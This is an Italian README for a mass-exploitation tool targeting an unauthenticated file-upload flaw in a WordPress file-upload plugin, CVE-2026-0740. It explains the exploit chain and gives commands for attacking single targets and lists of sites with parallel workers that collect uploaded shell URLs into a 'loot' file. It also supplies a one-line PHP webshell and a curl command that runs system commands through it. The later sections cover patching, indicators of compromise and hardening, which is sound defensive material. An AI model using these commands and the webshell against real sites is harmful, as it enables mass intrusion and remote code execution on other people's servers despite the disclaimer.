CVE-2026-0740 — Motore di exploit per target di massa

Autore: 0xNuts
Contributore: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass

PoC per CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload che può portare a RCE.

La vulnerabilità iniziale è stata scoperta da Sélim Lanouar (@whattheslime). Il PoC del motore di exploit per target di massa è stato sviluppato da 0xNuts con il contributo di Cursor.

Disclaimer

Questo repository è fornito solo per ricerca sulla sicurezza e scopi difensivi (pentest autorizzato, red team con permesso scritto, validazione delle patch e hardening).

• Non utilizzarlo contro sistemi senza autorizzazione esplicita del proprietario.
• L'autore non è responsabile dell'uso improprio di queste informazioni.

Riepilogo della vulnerabilità

Il plugin Ninja Forms - File Uploads per WordPress è vulnerabile a unauthenticated arbitrary file upload in tutte le versioni fino alla 3.3.26 (inclusa).

Catena di sfruttamento:

1. Un attaccante senza autenticazione ottiene un nonce di upload tramite l'azione AJAX nf_fu_get_new_nonce con un field_id arbitrario.
2. Il handler nf_fu_upload valida l'estensione del file caricato (es. image.jpg), ma l'attaccante può sovrascrivere il nome del file di destinazione tramite il parametro POST (image_jpg).
3. Il nome del file di destinazione viene passato a move_uploaded_file() senza una sanificazione adeguata → estensione arbitraria + path traversal (../).

La patch completa è disponibile nella versione 3.3.27+.

Prerequisiti

• Python 3.10+
• Il target ha il plugin Ninja Forms e Ninja Forms - File Uploads (<= 3.3.26) installati e attivi
• Non è necessario un modulo o un campo di upload preesistente

Installazione delle dipendenze

Questo repository contiene solo CVE-2026-0740.py e README.md. Installa le dipendenze manualmente:

python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

Utilizzo

Aiuto CLI

python3 CVE-2026-0740.py -h

Opzioni degli argomenti

Nota: è obbligatorio usare esattamente uno tra -t e -f.

Modalità Target Singolo

python3 CVE-2026-0740.py -t http://target.com --shell shell.php

Con path traversal esplicito:

python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

Modalità Target di Massa

Crea un file target.txt:

http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan

Esegui:

python3 CVE-2026-0740.py -f target.txt --shell shell.php

Con la regolazione dei worker e output loot:

python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

Gli URL delle shell caricate con successo verranno scritti nel file loot (modalità append).

Esempio di Webshell Minima

echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

Dopo il caricamento riuscito, lo script mostra l'URL della shell. Verifica (solo su lab/target autorizzato):

curl "http://target.com/wp-content/shell.php?cmd=id"

Rilevamento della Versione del Plugin (Opzionale)

httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

Come Risolvere (Mitigazione)

1. Aggiornare il Plugin (Priorità Assoluta)

Aggiorna Ninja Forms - File Uploads alla versione 3.3.27 o successiva immediatamente.

• WordPress Admin → Plugins → controlla la versione di Ninja Forms - File Uploads
• Se l'aggiornamento automatico non è disponibile, scarica la versione patchata dal fornitore ufficiale

2. Verifica della Patch

Dopo l'aggiornamento:

• Assicurati che la versione del plugin sia >= 3.3.27
• Testa l'endpoint wp-admin/admin-ajax.php con le action nf_fu_get_new_nonce / nf_fu_upload — l'upload arbitrario deve essere rifiutato
• Riesegui la scansione con uno scanner (Nuclei template CVE-2026-0740) per conferma

3. Indicatori di Compromissione (IoC)

Controlla le directory di upload di WordPress:

wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

Cerca file estranei: .php, .pht, .phtml, .phar, .html, .svg, .js che non dovrebbero esserci.

Controlla anche i log del web server per le richieste a:

/wp-admin/admin-ajax.php

con i parametri action=nf_fu_get_new_nonce o action=nf_fu_upload.

4. Hardening Aggiuntivo

• WAF / rate limiting su /wp-admin/admin-ajax.php per bloccare l'abuso degli upload di massa

• Disabilitare l'esecuzione PHP nella directory wp-content/uploads/ tramite la configurazione del web server:

  Apache (.htaccess in uploads/):

  root@kitploit:~

  <FilesMatch "\.php$">
    Require all denied
  </FilesMatch>
  

  Nginx:

  root@kitploit:~

  location ~* /wp-content/uploads/.*\.php$ {
      deny all;
  }
  

• Least privilege: assicurati che i permessi dei file di upload non siano scrivibili dal web server al di fuori delle directory necessarie

• Monitoring: genera alert sui POST verso admin-ajax.php con action nf_fu_* provenienti da IP esterni o con volume elevato

• Backup & incident response: se vengono trovati IoC, isola il sito, ruota le credenziali di DB/admin, verifica altri plugin/temi

5. Se il Plugin Non Viene Utilizzato

Disattiva e rimuovi il plugin Ninja Forms - File Uploads se la funzionalità di upload non è necessaria.

Riferimenti

• CVE-2026-0740
• Lexfo — Technical Deep Dive
• Wordfence — 50,000 WordPress Sites Affected
• GHSA-v8wq-rjpf-669f
• Nuclei Template